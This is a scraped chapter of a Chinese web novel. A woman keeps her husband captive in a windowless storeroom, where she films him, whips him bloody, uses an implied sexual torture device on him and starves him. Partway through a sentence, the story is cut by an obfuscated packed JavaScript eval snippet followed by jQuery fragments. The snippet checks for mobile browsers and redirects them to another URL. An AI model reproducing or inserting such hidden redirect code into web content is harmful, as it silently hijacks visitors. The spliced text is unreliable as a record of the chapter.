143. (17)骨气

作品:《请你马上成精

    他知道这个小房间,一楼拐角的杂物间,没有窗户,连头顶的灯都是暗黄的。


    沈云复根本无法掀翻自己,轮椅也和地面锁在一起,不管他怎么努力也只能在一定距离内滑动。


    瘫在轮椅上,面前是乌临在摆弄三脚架,一架全新的相机正对着自己。


    “老公,饿了吗?要不要吃饭?”


    扫了她一眼,他闭上了眼。


    看起来她也不想继续和他演戏了,直接用不让他吃饭让他屈服。


    脚步声靠近,她来撕开了胶带,温柔蹲在他身前,仰头靠着他的膝盖,看起来顺从极了。


    盯着这副假面,他扭了扭脖子不屑一笑,哑声嘲讽:“你的手艺和宋宁比起来,差远了......呵。”


    假面有一丝裂缝,乌临僵着脸,又问:“你已经一整天没有吃东西了,我会心疼的。”


    他冷笑一声,后靠:“那还废什么话,给我解开。”


    双手攀在他腿上,她靠近了,眸光闪动用期盼的眼神光等待他接下来的话。


    他自然知道乌临在等什么,扯起嘴角,他一字一句道:“你啊,就是个彻头彻尾的,变态。我就是喜欢路边一条狗,也不会喜欢你。”


    期盼碎在她眼中,委屈的泪水又在眼眶中聚集。


    乌临伤心的眼泪和愤怒就是他的食物,沈云复勾起唇角得意大笑。


    啪


    她果然恼羞成怒给了他一耳光。


    愣了一瞬,他抖动肩膀再次大笑:“哈哈哈哈哈哈......”


    在笑声里,乌临狼狈离去,但不到一分钟她又折返回来,手里拿着一指宽的细皮鞭。


    看来是彻底被他激怒了,不知为何他现在对乌临已经毫无惧意了,甚至还要出言嘲讽:“哦?这不会是我和宋宁用过的吧?你一点创意都没有啊......”


    “说,说你爱我。”


    低笑两声,他被乌临逗笑了:“我爱你啊,最爱你了啊......呵呵呵,说了你就信了?你是这么天真的吗?”


    挑起眉梢,他扬起下颌向她挑衅。


    握着鞭子的手在微微发颤,她眼里的晶莹已经兜不住了,一眨眼,泪水溢出。


    他从一开始就知道,女人的眼泪就是兴奋剂,是让人忍不住产生施虐欲的导火索,现下乌临一哭他倒是真的有了反应,可惜他又被锁起来了,不然真的可以好好奖励她。


    “呵,怎么,没话讲了?我都说我最爱你了啊......扑哧哈哈哈哈......你就这么想听我撒谎啊哈哈哈......”


    现下她不止手在发颤,连嘴唇也在发颤。


    “我在骗你啊,我怎么可能看得上你?我最爱的从来就是宋宁啊,你不知道吗?我们可是校园恋爱啊,是多少人羡慕的修成正果的恋爱啊......你?”


    “忘记她,我就原谅你。”


    上下扫了她一眼,沈云复嗤笑了一声:“我需要你原......”


    霎时瞪大了眼,声音断在喉咙里,扭曲意志的疼痛和冲击从体内再次震荡,他张大了嘴忍不住颤抖挣扎。


    “继续、加大啊......把我玩死啊......呃......”


    他见过路边的气球,气球鼓胀在牢笼内,随便一点尖锐的物品就能将其戳破、引爆、解放,可他无法被解放,金属铁笼牢牢印在肌肤上,疼得他眼泪都要出来了。


    细鞭划破空气,直接降临在胸膛,他下意识躲避却又无处可躲。


    “说你爱我!快说!说了我就原谅你今天的话!”


    相机正在录像,视频里,乌临一边哭泣一边在沈云复身上发泄怒意,而沈云复,他咬死了话不肯退让,被折磨到浑身抽搐唾液横流也不肯向乌临屈服。


    她不会用这种鞭子,下手也没有技巧和轻重,鞭痕带着血珠布满沈云复身前,就像红色的束带,将他这个随时会发狂的病人牢牢禁锢在轮椅上。


    他扭曲着身体,在轮椅上涣散了瞳孔,痉挛着挣扎着,痛苦流泪,但即使到这个地步他还是不肯说两句好听的。


    乌临要气疯了,她已经从伤心难过变成了愤怒。


    明明她已经得到了糖果,拆开包装却发现里面根本就没有糖,只有空白,只有装作是糖果的空气。


    可是为什么愤怒,为什么伤心?


    沈云复这种人就是见人说人话见鬼说鬼话,明明她是知晓的,她是了然的,可真的戳破这层包装她还是无法接受,接受他们的一切都是谎言的事实。


    “嗬、嗬......爱、你?”


    他垂着头无力嗤笑,一分钟后,他又颤抖着晕了过去。


    她盯着镜头眼泪从脸上滑落。


    这场戏的另一个主人公不愿意演戏了,他要开始变得有骨气了,有骨气的人是不会和一个疯子同流合污的,而镜头就像第三人,第三人的视线在支撑他的骨气。


    不管她怎么折磨,都只是在增加他的骨气。


    她明白了,她直接推倒相机,一脚踩扁了镜头。


    再次醒来依旧是这个杂物间,体内的凶器终于被拔除换上了药物,眼前也没有了明晃晃的相机,只有脖子上戴着的一个移动摄像。


    乌临蹲在他身前,细心地给他擦拭身体,上药,见他醒来又端来米粥。


    他蹙起了眉,虚弱开口:“你又要耍什么把戏?”


    “不吃吗?再不吃,今天就没有东西吃了,得明天这个时候我才会给你食物。”


    她温婉一笑,好似刚刚疯狂鞭打他的人不是她。


    扫了眼白粥,他回怼:“那你饿死我好了。”


    “你明知道我最爱你了,舍不得让你饿死。”


    她盛了一勺,喂到他嘴边。


    看了眼米粥,又看了眼平静的乌临,他脑子里忽然有个荒唐的想法,她该不会是在粥里下毒,要他们同归于尽?


    轻蔑一笑,他轻轻吐字:“滚。”


    乌临瞬间耷拉眉眼,神情受伤又无奈。


    放下手,她垂眼沉默,而后突然开口:“对不起,老公,我不该鞭打你,你原谅我,好不好?”


    说着她就掉下了眼泪:“要不是你惹我生气,我怎么会打你呢?老公,你不要惹我生气了,好不好?”


    沈云复被她突如其来的眼泪搞得不知所措又不耐烦:“你在说什么乱七八糟......”


    “我知道,你也生我的气,但我是真心诚意向你道歉的,我们可是彼此最相爱的人,不能恶语相向,我们都冷静一点,好不好?”


    “你又在发什么疯?”


    她摇了摇头:“我只是想我们都冷静一点,在气头上容易说出伤人的话。”


    脑中忽然降下天雷,沈云复缓缓睁大了眼。


    这句话,宋宁也说过,一模一样。


    “你从哪知道这句话的?谁给你说过,谁给你说过!贱人!你在假装自己是宋宁吗!”


    大力拽了下锁拷,他怒吼着质问乌临,却看到乌临投来失望


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252286|155540||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的眼神。


    “你这是什么眼神?你失望?你凭什么对我失望?你哪来的资格!”


    可她只是摇头:“我以为你会更冷静一点的。”


    “冷静?哈哈哈,你让我冷静?你怎么不去死啊!啊!”


    她仿佛是个置身事外的旁观者,对他的怒吼没有任何反应,她只是从口袋中摸出胶带,捏着他的脸,一圈一圈缠紧了他的嘴。


    甩着头,沈云复怒视着乌临,企图用目光的怒火将她燃烧殆尽。


    “老公,我们本来可以好好交谈的,是你太冲动了。接下来你不会有任何食物了,明天的这个时候,我再来看你。”


    愤怒会让人失去理智,他已经失去理智了。


    他自以为抓到她的弱点,他就能占据上风了,可没有压倒性的胜算,战斗往往是两败俱伤。


    乌临承认,宋宁可以刺激到她,但同样的,宋宁也是沈云复自己的弱点。


    一场伤敌八百自损一千的战斗,他们还没分出胜负。


    耳机里听着他的喘气和挣扎声,屏幕上是隐藏的监控,甚至还有个画面来自他脖子上摄像机,除了他的大脑,她已经全方位掌控了这个人。


    她带走了那碗米粥,她得给他定一些规矩,按时吃饭,吃一定量的饭,以免饿坏自己。


    第二天,她还是带来了一样的米粥,可这会沈云复连眼睛都没睁开。


    她很难过,算算时间,他再不进食就得生病了,人类是很容易生病的,她担心他。


    看着冒热气的米粥,她犹豫了片刻没有带走,就放在椅子上,放在他眼前,让他只能看却不能吃。


    他一定很饿,经受折磨又没有食物,怎么会不饿呢?他不过是以为自己有这个毅力坚持而已。


    她越是哭着求爱,他越是来劲,倒不如让他们之间回归本质。


    爱只是附加,她只想拥有一个人,拥有他而已,差点她就要偏离本心了。


    嘶嘶


    时间在呼吸中流逝,杂物间内除了他的呜咽,什么声音都没有。


    乌临真的不来看他,折磨也好,大吵大闹也好,她竟然真的舍得不来看他,徒留一碗白粥在眼前,让他看得见吃不到,心中不自觉产生对乌临的渴望。


    嘁,他对这种类似吊桥效应的把戏了然于心,也嗤之以鼻,她根本就不知道,他最讨厌白粥了。


    啪!啪!啪!


    手心被尺拍打,红肿是火辣辣的。


    成绩没有达到期望,他挨了打,在餐桌上虚虚握着拳,一边啜泣一边喝粥。


    那会大概是很小的年纪,配上一些小菜,他一碗白粥就能吃饱。


    现在却不行了,白粥已经喂不饱他了,白粥是见证他落魄弱小的存在,他恨这种东西。


    没错,他恨,他恨出身,恨乌临,恨所有人,唯独不恨宋宁。


    他最爱的人就是宋宁,只有宋宁会包容他,对他好,带他跨越阶层,他爱这个女人,他最爱了。


    意识迷迷糊糊,胶带粘在脸上,撕开时有种扒下脸皮的痛。


    食物的热气被吹拂进鼻尖,他睁开眼,面前的人不是心心念念的宋宁,是乌临。


    勺子送到嘴边,他扫了一眼,偏过了头。


    “还不吃吗?你发烧了,老公,不吃东西的话,会病死的。”


    他虚弱冷笑:“是啊,我病了啊。是谁让我变成这样的?”


    乌临满含歉意:“对不起啊,老公。吃一点吧?”


    “滚。”